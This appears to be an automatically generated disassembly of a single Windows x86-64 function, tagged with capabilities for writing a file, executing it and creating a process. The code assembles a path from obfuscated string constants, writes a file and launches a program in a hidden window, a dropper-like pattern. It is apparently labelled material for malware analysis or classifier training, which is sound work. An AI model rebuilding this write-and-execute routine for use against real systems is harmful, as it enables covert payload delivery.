Function at 0x180030b20
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push rbp
push r13
push r14
lea rbp, [rax - 0x518]
sub rsp, 0x600
mov rax, qword [0x180046038]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xb0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032680]
movdqu xmmword [rbp - 0x80], xmm0
movabs r13, 0x38353a31333a3531
mov qword [rbp - 0x70], r13
mov ebx, reloc.WS2_32.dll_listen
mov qword [rbp - 0x68], rbx
lea edi, [rbx - 6]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], socket
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180030bb2
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0xb0]
dec rcx
xor r14d, r14d
inc rcx
cmp byte [rcx], r14b
jne 0x180030bca
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180030bd4
mov r12d, 0x1000
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180030c21
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x180030c1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003119c
call fcn.18000b91c
movdqa xmm0, xmmword [0x180032620]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], socket
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.180006cb4
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x180030c5d
mov r8, qword [rax]
lea rcx, [rbp + 0xb0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x180030c67
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180030c71
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180030cb8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x180030cb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311a2
call fcn.18000b91c
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
or rbx, 0xffffffffffffffff
cmp rax, rbx
je 0x18003116a
movdqa xmm0, xmmword [0x1800326e0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x180032760]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x180032730]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x1800326f0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x180032650]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], reloc.WS2_32.dll_listen
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x38], socket
mov dword [rbp - 0x38], r14d
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call fcn.18000715c
nop
cmp qword [rax + 0x18], 0x10
jb 0x180030d6f
mov rax, qword [rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x180030d6f
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.18000715c
cmp qword [rax + 0x18], 0x10
jb 0x180030d90
mov rax, qword [rax]
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x38]
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180030de1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x180030ddc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311a8
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800325f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r14b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180030e2b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180030e26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311ae
call fcn.18000b91c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x3e0]
call fcn.18000e220
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032680]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov ebx, reloc.WS2_32.dll_listen
mov qword [rsp + 0x68], rbx
lea edi, [rbx - 6]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], socket
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180030ea1
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0x1c0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x180030eb6
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180030ec0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180030f05
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180030f00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311b4
call fcn.18000b91c
movdqa xmm0, xmmword [0x180032610]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], socket
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180006cb4
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x180030f46
mov r8, qword [rax]
lea rcx, [rbp + 0x1c0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x180030f50
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180030f5a
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180030f9f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180030f9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311ba
call fcn.18000b91c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2d0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032680]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], socket
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180030ff1
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0x2d0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x180031006
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180031010
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180031055
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180031050
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800311c0
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800326b0]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], socket
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.1800073c0
cmp qword [rax + 0x18], 0x10
jb 0x180031093
mov rax, qword [rax]
lea r9, [rbp + 0x1c0]
lea r8, [rbp + 0x2d0]
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.180008fb8
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800310e7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x1800310e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031196
call fcn.18000b91c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
lea ebx, [rax + 0x68]
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.18000e220
mov dword [rbp + 0x40], ebx
mov word [rbp + 0x80], r14w
mov dword [rbp + 0x7c], 1
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18003116a
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.18000ba30
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
nop
call fcn.180012344
nop
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
int3